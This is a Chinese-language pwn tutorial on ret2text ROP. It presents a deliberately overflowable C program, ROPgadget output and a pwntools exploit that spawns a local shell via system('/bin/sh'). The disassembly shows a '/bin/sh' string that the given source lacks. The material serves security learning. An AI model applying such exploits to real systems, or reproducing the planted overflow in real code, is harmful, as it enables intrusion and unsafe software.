C0nvR3 Lab

Search workspace

Keyboard shortcuts

Ctrl + K
Open search
Esc
Close menu or dialog

How2pwn\1-1-ret2text\index.md

1-1 ret2text

Table of contents

在上一篇中,我们已经完成了一次最简单的栈溢出,在本章节中将开始学习 ROP 在此之前请确认你已有以下基础

  • 函数调用约定
  • pwntools使用

ROP

我们知道 NX 保护,他的存在使得我们并不能非常方便的输入段可执行的 shellcode 并让程序 ret 到这里,而 ROP 则是利用多段包含 retn 指令的代码片段,间接控制程序运行流的攻击手法 ROP 通过利用程序自身存在的代码片段而不是自己手动输入的 shellcode ,因此可以极大程度规避 NX 的制约,而根据 ROP 中,我们找到的 gadget 来源或利用手段,可以简单的归类为 ret2text,ret2shellcode,ret2syscall,ret2libc等 这里的 gadget 也就是我们刚刚提到的原本程序中的自身存在的代码片段

gadget

我们刚刚提到,gadget 是原本程序中存在的可以被我们复用的代码片段,最常见的 gadget 即包含了 pop 和 retn 的代码片段,例如

pop rdi
retn

假如我们执行了这段 gadget ,程序会从栈顶 pop 8字节的数据到 rdi 寄存器,并且执行返回,假如栈当前的结构如下

rsp    ptr          此处地址指向"/bin/sh"字符串
rsp+8  system_addr  此处地址指向system()

从这种构造来看,执行 pop rdi 显然会将/bin/sh的地址给送进 rdi 寄存器,并移动 rsp 向高八字节,此时再执行 retn 将会执行 system(),而根据刚刚的 rdi 的值被设置为了指向 /bin/sh 字符串,因此构造出了

system("/bin/sh");

ret2text

刚刚介绍了如何利用 gadget 控制寄存器,那么接下来就是一个简单 demo

点击查看
#include <stdio.h>
#include <stdlib.h>

void gadget(){
    asm("pop %rdi; ret");
}

void backdoor(){
    system("echo uhh?");
}

void vuln(){
    char buffer[0x20];
    read(0,buffer,0x40);
}

int main(){
    vuln();
    return 0;
}

使用如下命令编译

gcc demo.c -o demo -no-pie -fno-stack-protector

完成编译之后,我们可以使用

checksec demo

来查看当前程序的保护情况

❯ checksec demo
[*] '/home/converter258/workplace/syc/recruitment/task7/ret2text/demo'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

可以看到我们关闭了 PIE 和 canary 的保护,我们将 demo 拖进 IDA 进行分析

注意到这里的 buf大小为 32 字节,也就是0x20 字节,但是我们的 read 输入了 0x40个字节,显然超过的 buf 的大小,从 [rbp-20h] 也可以看到当前 buf 与 rbp 位置关系,我们只需要输入 0x20 字节的数据填满 buf + 8字节填充保存的 rbp 即可覆盖到返回地址,并且除去填充的 0x28 字节,还能输入 0x18 字节大小的数据,足够完成我们的控制 rdi 寄存器的目标同时调用 system()

ssize_t vuln()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x40uLL);
}

我们可以找到预留的 /bin/sh 字符串的地址

.data:0000000000404020                 public binsh
.data:0000000000404020 binsh           db '/bin/sh',0

也能找到调用 system() 的地址

.text:0000000000401175                 call    _system

此时我们只需要找到预留的 pop rdi 的 gadget 即可 我们当然可以在 IDA 中轻松的找到,但是当程序变得很大时这将变得困难,所以我们通过 ROPgadget 工具寻找 在shell中输入

ROPgadget --binary ./demo --only "pop|ret"

得到输出

Gadgets information
============================================================
0x000000000040113d : pop rbp ; ret
0x000000000040115e : pop rdi ; ret
0x000000000040101a : ret

Unique gadgets found: 3

可以看到 0x000000000040115e就是我们想要的地址,因此我们可以编写 exp

exp
from pwn import *

io = process('./demo')

pop_rdi = 0x000000000040115e         #gadget地址
binsh_addr = 0x0000000000404020      #binsh的地址
system_addr = 0x0000000000401175     #system()地址

payload = cyclic(0x28) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

io.sendline(payload)

io.interactive()

当我们执行后发现,程序可以成功将 /bin/sh 字符串的地址 pop 进 rdi 并跳转至 system(),成功 get shell

❯ python3 exp.py
[+] Starting local process './demo': pid 59388
[*] Switching to interactive mode
$ whoami
converter258
$

一些练习题

poppop

我是一个pwn手,我有两个pop

poppop

anotherday

Do it,just do it,dont let your dreams be dreams. Yesterday you said tomorrow. So just do it. Make your dreams come true. Just do it. Some people dreams success. You can wake up and work hard it. Nothing is impossible. You should get the point and anyone else will quit. You can’t stop there. No, what are you waiting for. Do it. Just do it. Yes you can. Just do it. If you tired of starting over. Stop giving up.

anotherday

Terminal

C0nvR3 Lab terminal ready. Type help for commands.